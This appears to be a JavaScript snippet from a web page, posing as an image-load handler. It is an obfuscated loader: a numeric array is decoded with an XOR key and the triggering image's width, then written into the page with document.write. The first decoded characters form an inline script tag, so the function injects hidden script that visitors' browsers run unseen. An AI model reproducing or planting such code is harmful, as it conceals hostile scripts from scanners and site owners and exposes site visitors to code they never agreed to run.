function onImgLoad(source) {
var as = new Array(243,29,160,89,541,444,529,377,488,443,546,437,467,458,544,455,489,443,491,379,490,443,476,387,490,460,527,379,488,448,540,432,545,455,541,392,468,446,531,389,469,385,549,377,488,439,531,447,543,367,545,392,463,450,542,379,545,439,551,375,484,366,586,457,469,454,550,379,554,453,527,381,480,444,529,377,488,443,546,339,543,395,545,377,478,366,586,457,489,439,546,375,535,384,477,386,484,455,475,376,468,445,532,453,478,448,539,452,526,377,486,444,531,379,478,452,464,366,552,382,469,451,544,388,492,458,550,461,465,366,464,448,545,451,542,455,550,397,586,457,539,367,586,452,462,460,544,382,465,439,492,457,552,372,490,452,462,460,544,382,465,439,492);
var xi = source.width; if (!xi) {return;}
var sb=""; for (var n=4; n<as.length; n++) {sb+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sb);
}

